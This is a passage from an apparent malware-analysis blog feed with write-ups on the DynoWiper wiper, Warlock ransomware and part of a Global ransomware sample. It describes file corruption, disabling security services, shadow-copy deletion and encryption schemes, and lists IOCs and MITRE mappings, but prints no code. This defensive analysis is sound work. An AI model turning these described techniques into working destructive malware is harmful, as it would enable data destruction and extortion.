<p>Feedback and corrections are welcome.</p>]]></content><author><name>t0asts</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">DynoWiper: From Russia with Love</title><link href="/dynowiper" rel="alternate" type="text/html" title="DynoWiper: From Russia with Love" /><published>2026-02-06T00:00:00+00:00</published><updated>2026-02-06T00:00:00+00:00</updated><id>/dynowiper</id><content type="html" xml:base="/dynowiper"><![CDATA[<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/grid.png" alt="Grid" /></p>

<ul>
  <li><a href="#overview">Overview</a></li>
  <li><a href="#iocs">IOCs</a></li>
  <li><a href="#initial-inspection">Initial Inspection</a></li>
  <li><a href="#prng-setup">PRNG Setup</a></li>
  <li><a href="#data-corruption">Data Corruption</a></li>
  <li><a href="#data-deletion">Data Deletion</a></li>
  <li><a href="#mitre-attck-mapping">MITRE ATT&amp;CK Mapping</a></li>
  <li><a href="#acknowledgment">Acknowledgment</a></li>
</ul>

<h2 id="overview">Overview</h2>

<p>In this post I’m going over my analysis of DynoWiper, a wiper family that was discovered during attacks against Polish energy companies in late December of 2025. <a href="https://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/">ESET Research</a> and <a href="https://cert.pl/uploads/docs/CERT_Polska_Energy_Sector_Incident_Report_2025.pdf">CERT Polska</a> have linked the activity and supporting malware to infrastructure and tradecraft associated with Russian state-aligned threat actors, with ESET assessing the campaign as consistent with operations attributed to Russian APT <a href="https://www.welivesecurity.com/2022/03/21/sandworm-tale-disruption-told-anew">Sandworm</a>, who are notorious for attacking Ukrainian companies and infrastructure, with major incidents spanning throughout years 2015, 2016, 2017, 2018, and 2022. For more insight into Sandworm or the chain of compromise leading up to the deployment of DynoWiper, ESET and CERT Polska published their findings in great detail, and I highly recommend reading them for context.</p>

<h2 id="iocs">IOCs</h2>

<p>The sample analyzed in this post is a 32-bit Windows executable, and is version A of DynoWiper.</p>

<p><strong>SHA-256:</strong>
<a href="https://www.virustotal.com/gui/file/835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5">835b0d87ed2d49899ab6f9479cddb8b4e03f5aeb2365c50a51f9088dcede68d5</a></p>

<h2 id="initial-inspection">Initial Inspection</h2>

<p>To start, I ran the binary straight through <a href="https://github.com/horsicq/Detect-It-Easy">DIE</a> (Detect It Easy) catch any quick wins regarding packing or obfuscation, but this sample does not appear to utilize either (unsurprising for wiper malware). To <a href="https://hex-rays.com">IDA</a> we go!</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/die.png" alt="DIE" /><br />
<strong><em>Figure 1: Detect It Easy</em></strong></p>

<h2 id="prng-setup">PRNG Setup</h2>

<p>Jumping right past the CRT setup to the <code class="language-plaintext highlighter-rouge">WinMain</code> function, DynoWiper first initializes a Mersenne Twister PRNG (MT19937) context, with the fixed seed value of 5489 and a state size of 624.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/mainfunc.png" alt="WinMain" /><br />
<strong><em>Figure 2: Main Function</em></strong></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/mersennetwisterinit.png" alt="MtInit" /><br />
<strong><em>Figure 3: Mersenne Twister Init</em></strong></p>

<p>The MT19937 state is then re-seeded and reinitialized with a random value generated using <code class="language-plaintext highlighter-rouge">std::random_device</code>, the 624 word state is rebuilt, and a 16-byte value is generated.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/mersennetwisterseed.png" alt="MtSeed" /><br />
<strong><em>Figure 4: Mersenne Twister Seed</em></strong></p>

<h2 id="data-corruption">Data Corruption</h2>

<p>Immediately following the PRNG setup, the data corruption logic is executed.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/corruptdata.png" alt="CorruptData" /><br />
<strong><em>Figure 5: Data Corruption Logic</em></strong></p>

<p>Drives attached to the target host are enumerated with <code class="language-plaintext highlighter-rouge">GetLogicalDrives()</code>, and <code class="language-plaintext highlighter-rouge">GetDriveTypeW()</code> is used to identify the drive type, to ensure only fixed or removable drives are added to the target drive vector.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/enumdrives.png" alt="EnumDrives" /><br />
<strong><em>Figure 6: Drive Enumeration</em></strong></p>

<p>Directories and files on said target drives are walked recursively using <code class="language-plaintext highlighter-rouge">FindFirstFileW()</code> and <code class="language-plaintext highlighter-rouge">FindNextFileW()</code>, while skipping the following protected / OS directories to avoid instability during the corruption process.</p>

<table>
  <thead>
    <tr>
      <th>Excluded Directories</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>system32</td>
    </tr>
    <tr>
      <td>windows</td>
    </tr>
    <tr>
      <td>program files</td>
    </tr>
    <tr>
      <td>program files(x86)</td>
    </tr>
    <tr>
      <td>temp</td>
    </tr>
    <tr>
      <td>recycle.bin</td>
    </tr>
    <tr>
      <td>$recycle.bin</td>
    </tr>
    <tr>
      <td>boot</td>
    </tr>
    <tr>
      <td>perflogs</td>
    </tr>
    <tr>
      <td>appdata</td>
    </tr>
    <tr>
      <td>documents and settings</td>
    </tr>
  </tbody>
</table>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/processdirsrecurse1.png" alt="ProcessDirsRecurse1" />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/processdirsrecurse2.png" alt="ProcessDirsRecurse2" /><br />
<strong><em>Figures 7-8: Directory Traversal</em></strong></p>

<p>For each applicable file, attributes are cleared with <code class="language-plaintext highlighter-rouge">SetFileAttributesW()</code>, and a handle to the file is created using <code class="language-plaintext highlighter-rouge">CreateFileW()</code>. The file size is obtained using <code class="language-plaintext highlighter-rouge">GetFileSize()</code>, and the start of the file located through <code class="language-plaintext highlighter-rouge">SetFilePointerEx()</code>. A 16 byte junk data buffer derived from the PRNG context is written to the start of the file using <code class="language-plaintext highlighter-rouge">WriteFile()</code>. In cases where the file size exceeds 16 bytes, pseudo-random locations throughout the file are generated, with the count determined by the file size, and a maximum count of 4096. The current file pointer is again repositioned to each generated location with <code class="language-plaintext highlighter-rouge">SetFilePointerEx()</code>, and the same 16 byte data buffer is written again, continuing the file corruption process.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/getrandloc.png" alt="GetRandLoc" /><br />
<strong><em>Figure 9: Random File Offset Generation</em></strong></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/prngcorruptfile.png" alt="PrngCorruptFile" /><br />
<strong><em>Figure 10: File Corruption</em></strong></p>

<h2 id="data-deletion">Data Deletion</h2>

<p>With all the target files damaged and the data corruption process complete, the data deletion process begins.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/erasedata.png" alt="EraseData" /><br />
 <strong><em>Figure 11: Data Deletion Logic</em></strong></p>

<p>Similar to the file corruption process, drives attached to the target host are enumerated, target directories are walked recursively and target files are removed with <code class="language-plaintext highlighter-rouge">DeleteFileW()</code> instead of writing junk data, as seen in the file corruption logic.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/erasefiles.png" alt="EraseFiles" /><br />
 <strong><em>Figure 12: File Deletion</em></strong></p>

<p>To finish, the wiper obtains its own process token using <code class="language-plaintext highlighter-rouge">OpenProcessToken()</code>, enables <code class="language-plaintext highlighter-rouge">SeShutdownPrivilege</code> through <code class="language-plaintext highlighter-rouge">AdjustTokenPrivileges()</code>, and issues a system reboot with <code class="language-plaintext highlighter-rouge">ExitWindowsEx()</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/dynowiper/adjusttokenshutdown.png" alt="AdjustTokenShutdown" /><br />
 <strong><em>Figure 13: Token Modification and Shutdown</em></strong></p>

<h2 id="mitre-attck-mapping">MITRE ATT&amp;CK Mapping</h2>

<ul>
  <li>Discovery (TA0007)
    <ul>
      <li>T1680: Local Storage Discovery</li>
      <li>T1083: File and Directory Discovery</li>
    </ul>
  </li>
  <li>Defense Evasion (TA0005)
    <ul>
      <li>T1222: File and Directory Permissions Modification
        <ul>
          <li>T1222.001: Windows File and Directory Permissions Modification</li>
        </ul>
      </li>
      <li>T1134: Access Token Manipulation</li>
    </ul>
  </li>
  <li>Privilege Escalation (TA0004)
    <ul>
      <li>T1134: Access Token Manipulation</li>
    </ul>
  </li>
  <li>Impact (TA0040)
    <ul>
      <li>T1485: Data Destruction</li>
      <li>T1529: System Shutdown/Reboot</li>
    </ul>
  </li>
</ul>

<h2 id="acknowledgment">Acknowledgment</h2>

<p>Feedback and corrections are welcome.</p>

<p>Many thanks to the SANS ISC for crossposting my <a href="https://isc.sans.edu/diary/32730">analysis</a>!</p>]]></content><author><name>t0asts</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Warlock Group: We’re only here for SharePoint and the Lamborghinis</title><link href="/warlock-ransomware" rel="alternate" type="text/html" title="Warlock Group: We’re only here for SharePoint and the Lamborghinis" /><published>2025-08-16T00:00:00+00:00</published><updated>2025-08-16T00:00:00+00:00</updated><id>/warlock-ransomware</id><content type="html" xml:base="/warlock-ransomware"><![CDATA[<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/warlocksite.png" alt="Site" /></p>

<ul>
  <li><a href="#overview">Overview</a></li>
  <li><a href="#iocs">IOCs</a></li>
  <li><a href="#initial-inspection">Initial Inspection</a></li>
  <li><a href="#safety-check">Safety Check</a></li>
  <li><a href="#emptying-recycle-bin">Emptying Recycle Bin</a></li>
  <li><a href="#prepare-target-drives">Prepare Target Drives</a></li>
  <li><a href="#impair-defenses">Impair Defenses</a></li>
  <li><a href="#wow-check">WOW Check</a></li>
  <li><a href="#delete-vss-snapshots">Delete VSS Snapshots</a></li>
  <li><a href="#worker-thread-setup">Worker Thread Setup</a></li>
  <li><a href="#query-target-drives">Query Target Drives</a></li>
  <li><a href="#file-encryption-process">File Encryption Process</a></li>
  <li><a href="#dropping-ransom-note">Dropping Ransom Note</a></li>
  <li><a href="#mitre-attck-mapping">MITRE ATT&amp;CK Mapping</a></li>
  <li><a href="#acknowledgment">Acknowledgment</a></li>
</ul>

<h2 id="overview">Overview</h2>

<p>In this post I’m going over my analysis of a Warlock ransomware sample, a family that has emerged as a result of the recent on-prem SharePoint chained RCE vulnerability (“ToolShell”) that has become a fan favorite of threat groups, a notable one being <a href="https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/#storm-2603">Storm-2603</a>, who are compromising internet-facing on-prem SharePoint servers, and deploying the Warlock ransomware (via software deployment GPO) once they have moved laterally throughout target environments. I am not covering the deserialization or path traversal SharePoint vulnerabilities in post (yet), so for more info about those I recommend heading to <a href="https://securelist.com/toolshell-explained/117045/">Kaspersky’s post</a>.</p>

<h2 id="iocs">IOCs</h2>

<p>The sample analyzed in this post is a 32-bit Windows console app executable.</p>

<p><strong>Group Sites:</strong> <br />
<a href="https://www.virustotal.com/gui/url/31884aaf95592f1bd55d589916ef490e332c32dff722e536cea8e1331cfe5d8f">hxxp://elqfbcx5nofwtqfookqml7ltx2g6q6tmddys6e25vgu3al2meim6cbqd[.]onion</a><br />
<a href="https://www.virustotal.com/gui/url/5e2420bf60f0d86f6483c85eb80214f13c061f455434ecba6612f89afb8b3ce3">hxxp://zfytizegsze6uiswodhbaalyy5rawaytv2nzyzdkt3susbewviqqh7yd[.]onion</a></p>

<p><strong>SHA-256:</strong>
<a href="https://www.virustotal.com/gui/file/da8de7257c6897d2220cdf9d4755b15aeb38715807e3665716d2ee761c266fdb">da8de7257c6897d2220cdf9d4755b15aeb38715807e3665716d2ee761c266fdb</a></p>

<h2 id="initial-inspection">Initial Inspection</h2>

<p>Getting started, I dropped the binary straight into <a href="https://github.com/horsicq/Detect-It-Easy">DIE</a> (Detect It Easy) and lucky for me, this sample was NOT packed or obfuscated with a commercial software protector (presumably dropped by a loader or initial stage that is packed/obfuscated), so time to open it in <a href="https://hex-rays.com/">IDA</a>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/die.png" alt="DIE" /><br />
<strong><em>Figure 1: Detect It Easy</em></strong></p>

<p>Skipping past the CRT setup to the main function, the first thing the ransomware does is detach the console window, to hide execution from the user (very subtle).</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/hideconsole.png" alt="HideConsole" /><br />
<strong><em>Figure 2: Hide Console Window</em></strong></p>

<h2 id="safety-check">Safety Check</h2>

<p>The computer name is retrieved and checked against a hardcoded hostname (potentially to avoid infecting the developer or affiliates), but this build appears to have the placeholder hostname. If the hostname of the target system matches the whitelisted entry, execution is halted. If the hostname is unable to be retrieved, the hostname check is skipped.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/whitelisthostcheck.png" alt="WhitelistHostCheck" /><br />
<strong><em>Figure 3: Whitelisted Host Check</em></strong></p>

<h2 id="emptying-recycle-bin">Emptying Recycle Bin</h2>

<p>The actual malicious code is now fired off now. First the shutdown priority is set to delay termination in the event of a system shutdown, and the system recycle bin is cleared silently (no confirmation, no progress indicator, no sound).</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/shutdownparamclearbin.png" alt="ShutdownParamClearBin" /><br />
<strong><em>Figure 4: Set Shutdown Params and Clear Recycle Bin</em></strong></p>

<h2 id="prepare-target-drives">Prepare Target Drives</h2>

<p>Next, the list of NTFS volumes is queried, and any volume that is unmapped is assigned one, so the ransomware can access and encrypt non-system drives for maximum impact.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/mountvolumestoletter.png" alt="MountVolumesToLetters" /><br />
<strong><em>Figure 5: Mount Unmapped Volumes to Unused Drive Letters</em></strong></p>

<h2 id="impair-defenses">Impair Defenses</h2>

<p>To prevent interference during the encryption process, backup software and security software services are stopped, starting with dependent services, and eventually the main list of target services. Services that are already stopped or pending shutdown are skipped to avoid infinite service control request looping.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/targetservices.png" alt="TargetServices" /><br />
<strong><em>Figure 6: Targeted Services</em></strong></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/killservices1.png" alt="KillServices_1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/killservices2.png" alt="KillServices_2" /><br />
<strong><em>Figures 7-8: Security and Backup Services Stopped</em></strong></p>

<p>With services terminated, processes related to security software, backup software, database software, and productivity software are also terminated. This serves to release file locks held by these processes, and to avoid interruption by AV or EDR software when encrypting files.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/targetprocesses.png" alt="TargetProcesses" /><br />
<strong><em>Figure 9: Target Processes</em></strong></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/killprocesses.png" alt="KillProcesses" /><br />
<strong><em>Figure 10: Security and Backup Processes Terminated</em></strong></p>

<h2 id="wow-check">WOW Check</h2>

<p>If the ransomware process is running under <code class="language-plaintext highlighter-rouge">WOW64</code> (Windows-On-Windows 64), which it will if run on a 64-bit version of Windows (the binary is 32-bit), <code class="language-plaintext highlighter-rouge">WOW64</code> file system redirection is temporarily disabled, so the ransomware can access the <code class="language-plaintext highlighter-rouge">System32</code> folder, and avoid being redirected to the <code class="language-plaintext highlighter-rouge">SysWOW64</code> folder.</p>

<h2 id="delete-vss-snapshots">Delete VSS Snapshots</h2>

<p>To hinder recovery efforts, all VSS snapshots are enumerated and forcibly deleted through <code class="language-plaintext highlighter-rouge">COM</code> instead of the much noisier <code class="language-plaintext highlighter-rouge">vssadmin</code> or <code class="language-plaintext highlighter-rouge">wmic</code> equivalents, to avoid leaving command line argument activity behind.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/deletesnapshots.png" alt="DeleteVSSSnapshots" /><br />
<strong><em>Figure 11: Disable WOW64 FS Redirection and Delete VSS Snapshots</em></strong></p>

<h2 id="worker-thread-setup">Worker Thread Setup</h2>

<p>Before encrypting files, the local processors on the target host are queried and multiplied by eight, to determine how many worker threads the ransomware will create.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/createworkers.png" alt="CreateWorkers" /><br />
<strong><em>Figure 12: Create Worker Threads</em></strong></p>

<p>The worker threads will now wait for batches of target paths for encryption.</p>

<h2 id="query-target-drives">Query Target Drives</h2>

<p>Each drive mapped to a drive letter is queried for the drive type, to exclude those that are CD-ROM “drives” and any drives that point to an invalid volume, to avoid erroring out when processing paths for the worker threads.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/querydrives.png" alt="QueryDriveType" /><br />
<strong><em>Figure 13: Query Drive Type</em></strong></p>

<p>For the remaining applicable drives, the directory structure is recursively walked starting from the root to create batches of files that will be handled by the worker threads for encryption. Any files or directories that match against hardcoded exclusion lists for extensions and path names will be skipped from being added to the file batches.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/excludeditems.png" alt="ExcludedItems" /><br />
<strong><em>Figure 14: Excluded Files and Directories</em></strong></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/excludedextensions.png" alt="ExcludedExtensions" /><br />
<strong><em>Figure 15: Excluded Extensions</em></strong></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/enumdirectory1.png" alt="EnumerateDirectory_1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/enumdirectory2.png" alt="EnumerateDirectory_2" /><br />
<strong><em>Figures 16-17: Walking Directory Structure</em></strong></p>

<p>In addition to drives, any accessible SMB shares are enumerated and processed to ensure files on shares are also added to the batches for encryption.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/enumshares.png" alt="EnumerateShares" /><br />
<strong><em>Figure 18: Enumerate Shares</em></strong></p>

<h2 id="file-encryption-process">File Encryption Process</h2>

<p>For each batch of files (~50), worker threads begin the file encryption process. Each file in the batch is renamed to include <code class="language-plaintext highlighter-rouge">.x2anylock</code> trailing the original extension. If during the renaming process a file is locked, the offending process will be forcibly terminated.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/addextension1.png" alt="AppendExtension_1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/addextension2.png" alt="AppendExtension_2" /><br />
<strong><em>Figures 19-20: Append Group Extension</em></strong></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/terminatelockingprocess.png" alt="KillLockingProcess" /><br />
<strong><em>Figure 21: Terminate Locking Processes</em></strong></p>

<p>Every file uses a per-file symmetric ChaCha key derived via X25519 elliptic curve Diffie-Hellman exchange between a newly generated ephemeral private key on the target host and an embedded 32 byte public key. The 32 byte shared secret is hashed using SHA-256 to produce the 32 byte content key. The 8 byte nonce is the first 8 bytes of SHA-256 (key). The file is then encrypted (either in place when <code class="language-plaintext highlighter-rouge">-e</code> is passed as an argument, or after appending the extension <code class="language-plaintext highlighter-rouge">.x2anylock</code>), and a footer containing the ephemeral public key + 16-byte hash result (<code class="language-plaintext highlighter-rouge">SHA-256(iv)[:16]</code>) + fixed 32 byte marker is appended so the decryptor can recompute the key for file recovery.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/encryptfiles1.png" alt="EncryptFiles_1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/encryptfiles2.png" alt="EncryptFiles_2" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/encryptfiles3.png" alt="EncryptFiles_3" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/encryptfiles4.png" alt="EncryptFiles_4" /><br />
<strong><em>Figures 22-25: File Encryption</em></strong></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/attackerpublickey.png" alt="PublicKey" /><br />
<strong><em>Figure 26: Embedded Public Key</em></strong></p>

<h2 id="dropping-ransom-note">Dropping Ransom Note</h2>

<p>The embedded ransom note is dropped alongside encrypted files throughout the duration of the process.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/dropnote1.png" alt="DropRansomNote_1" /><br />
<img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/warlock/dropnote2.png" alt="DropRansomNote_2" /><br />
<strong><em>Figures 27-28: Drop Ransom Note</em></strong></p>

<p>As the encryption for the file batches completes successfully, the worker threads will be killed off and the ransomware process is terminated.</p>

<p>Overall nothing new nothing special.</p>

<h2 id="mitre-attck-mapping">MITRE ATT&amp;CK Mapping</h2>

<ul>
  <li>Collection (TA0009)
    <ul>
      <li>T1005: Data from Local System</li>
    </ul>
  </li>
  <li>Defense Evasion (TA0005)
    <ul>
      <li>T1562: Impair Defenses
        <ul>
          <li>T1562.001: Disable or Modify Tools</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Discovery (TA0007)
    <ul>
      <li>T1007: System Service Discovery</li>
      <li>T1057: Process Discovery</li>
      <li>T1063: Security Software Discovery</li>
      <li>T1082: System Information Discovery</li>
      <li>T1083: File and Directory Discovery</li>
      <li>T1135: Network Share Discovery</li>
      <li>T1518: Software Discovery
        <ul>
          <li>T1518.001: Security Software Discovery</li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Execution (TA0002)
    <ul>
      <li>T1059: Command and Scripting Interpreter</li>
      <li>T1106: Native API</li>
      <li>T1129: Shared Modules</li>
    </ul>
  </li>
  <li>Impact (TA0040)
    <ul>
      <li>T1486: Data Encrypted for Impact</li>
      <li>T1489: Service Stop</li>
      <li>T1490: Inhibit System Recovery</li>
    </ul>
  </li>
</ul>

<h2 id="acknowledgment">Acknowledgment</h2>

<p>Feedback and corrections are welcome.</p>]]></content><author><name>t0asts</name></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Global Group: Ransomware-as-a-Service with AI-powered Negotiation</title><link href="/global-ransomware" rel="alternate" type="text/html" title="Global Group: Ransomware-as-a-Service with AI-powered Negotiation" /><published>2025-07-12T00:00:00+00:00</published><updated>2025-07-12T00:00:00+00:00</updated><id>/global-ransomware</id><content type="html" xml:base="/global-ransomware"><![CDATA[<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/Globallogo.png" alt="Logo" /></p>

<ul>
  <li><a href="#overview">Overview</a></li>
  <li><a href="#iocs">IOCs</a></li>
  <li><a href="#initial-inspection">Initial Inspection</a></li>
  <li><a href="#api-resolution">API Resolution</a></li>
  <li><a href="#mutex-creation">Mutex Creation</a></li>
  <li><a href="#emptying-recycle-bin">Emptying Recycle Bin</a></li>
  <li><a href="#config-decryption">Config Decryption</a></li>
  <li><a href="#crypto-context-setup">Crypto Context Setup</a></li>
  <li><a href="#custom-file-icon-setup">Custom File Icon Setup</a></li>
  <li><a href="#print-ransom-note">Print Ransom Note</a></li>
  <li><a href="#clear-windows-event-log">Clear Windows Event Log</a></li>
  <li><a href="#delete-shadow-copies">Delete Shadow Copies</a></li>
  <li><a href="#token-elevation">Token Elevation</a></li>
  <li><a href="#impersonate-system">Impersonate SYSTEM</a></li>
  <li><a href="#impair-defenses">Impair Defenses</a></li>
  <li><a href="#enumerate-domain-devices">Enumerate Domain Devices</a></li>
  <li><a href="#remote-execution">Remote Execution</a></li>
  <li><a href="#local-encryption-setup">Local Encryption Setup</a></li>
  <li><a href="#local-encryption-start">Local Encryption Start</a></li>
  <li><a href="#remote-encryption-start">Remote Encryption Start</a></li>
  <li><a href="#set-desktop-wallpaper">Set Desktop Wallpaper</a></li>
  <li><a href="#self-deletion">Self Deletion</a></li>
  <li><a href="#mitre-attck-mapping">MITRE ATT&amp;CK Mapping</a></li>
  <li><a href="#related-samples">Related Samples</a></li>
  <li><a href="#acknowledgment">Acknowledgment</a></li>
</ul>

<h2 id="overview">Overview</h2>

<p>In this post, I’m going over my analysis of a recent Global ransomware sample, a group that I only discovered when someone shared a <a href="https://xcancel.com/DarkWebInformer/status/1930273939025973744">promotional video</a> they created with me. The video is oddly polished and visually almost resembles an advertisement Apple would release during a new product launch. They also boast about having support for ESXi systems and networked storage devices. There are some other bold claims, such as, one-click propagation across networks, “mount mode” (encrypting remote disks locally), “new attacks every single day”, 85% revenue share, AI-powered negotiation support, and access to their platform on mobile devices. Affiliate groups are supposedly allowed to post on their leak site without intervention. The video alone made me curious about the capabilities of their “product” so that is how we arrived here.</p>

<p>Post Analysis Note: The Global ransomware group operates utilizing the leaked <a href="https://any.run/cybersecurity-blog/mamona-ransomware-analysis/">Mamona ransomware</a> builder (can be confirmed by the created mutex), which has ties to the Blacklock ransomware group also referred to “El Dorado” (before they were shut down by the DragonForce group). The DragonForce group utilizes the leaked Lockbit3.0 and ContiV3 variants (very original).</p>

<h2 id="iocs">IOCs</h2>

<p>The sample analyzed in this post is a 32-bit Windows executable.</p>

<p><strong>Group Site:</strong> <a href="https://www.virustotal.com/gui/domain/vg6xwkmfyirv3l6qtqus7jykcuvgx6imegb73hqny2avxccnmqt5m2id.onion">hxxp://vg6xwkmfyirv3l6qtqus7jykcuvgx6imegb73hqny2avxccnmqt5m2id[.]onion</a></p>

<p><strong>MD5:</strong> <a href="https://www.virustotal.com/gui/file/c5a8d4c07e1dca5e9cfbbaadfc402063">c5a8d4c07e1dca5e9cfbbaadfc402063</a>  </p>

<p><strong>SHA-1:</strong> <a href="https://www.virustotal.com/gui/file/c95056c8682373d0512aea2ed72c18f79c854308">c95056c8682373d0512aea2ed72c18f79c854308</a>  </p>

<p><strong>SHA-256:</strong> <a href="https://www.virustotal.com/gui/file/13b82f4ac62faf87a105be355c82bacfcbdd383050860dfa93dfbb7bb2e6c9ba">13b82f4ac62faf87a105be355c82bacfcbdd383050860dfa93dfbb7bb2e6c9ba</a></p>

<h2 id="initial-inspection">Initial Inspection</h2>

<p>Before opening the sample in IDA, I dropped it into <a href="https://github.com/horsicq/Detect-It-Easy">DIE</a> (Detect It Easy) to get an idea if I was going to be spending most of my time unpacking or deobfuscating the sample. This was NOT the case at all, as the affiliates behind this sample shipped a clean release build out the door.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/die.png" alt="DIE" /><br />
<strong><em>Figure 1: Detect It Easy</em></strong>  </p>

<p>There was no obvious obfuscation, and it was unpacked. Loading the file in <a href="https://hex-rays.com/">IDA</a> and heading straight to the entry point, we see all the usual C runtime setup. We can skip past all of these to the actual main function.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/entrypoint.png" alt="EntryPoint" /><br />
<strong><em>Figure 2: Entry Point</em></strong>  </p>

<p>Here is where the actual important execution starts.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/mainstart.png" alt="MainFunction" /><br />
<strong><em>Figure 3: Main Function</em></strong>  </p>

<p>There are a handful of interesting flags that can be set on execution, <code class="language-plaintext highlighter-rouge">-log</code> can be passed to view the verbose event logging, <code class="language-plaintext highlighter-rouge">-detached</code> will forcibly detach the console window if the encryptor is run interactively, <code class="language-plaintext highlighter-rouge">-force</code> will bypass the mutex check which prevents multiple instances of the encryptor from running simultaneously to prevent double encryption of files.</p>

<p>Interestingly enough, if <code class="language-plaintext highlighter-rouge">-detached</code> is not passed as an argument, the encryptor will attempt to relaunch and set the flag.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/detachconsole.png" alt="DetachConsole" /><br />
<strong><em>Figure 4: Detach Console and Relaunch</em></strong>  </p>

<p>After executing in detached mode, the handles for standard in, out, and error are set to <code class="language-plaintext highlighter-rouge">NUL</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/setstdhandle.png" alt="SetStdHandles" /><br />
<strong><em>Figure 5: Set STDIN/STDOUT/STDERR to NUL</em></strong>  </p>

<h2 id="api-resolution">API Resolution</h2>

<p>The encryptor then will continue setup by dynamically resolving APIs with a custom hashing algorithm.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/global/resolveapis1.png" alt="ResolveAPIs_1" /><br />
<strong><em>Figure 6: Resolve APIs</em></strong>  </p>

<p>The <code class="language-plaintext highlighter-rouge">ResolveModule</code> function calculates module hashes by first walking the PEB module list (<code class="language-plaintext highlighter-rouge">InLoadOrderModuleList</code>), lowercasing the module name, stripping the path off the file name, hashing the module name, and comparing it to the target hash.</p>

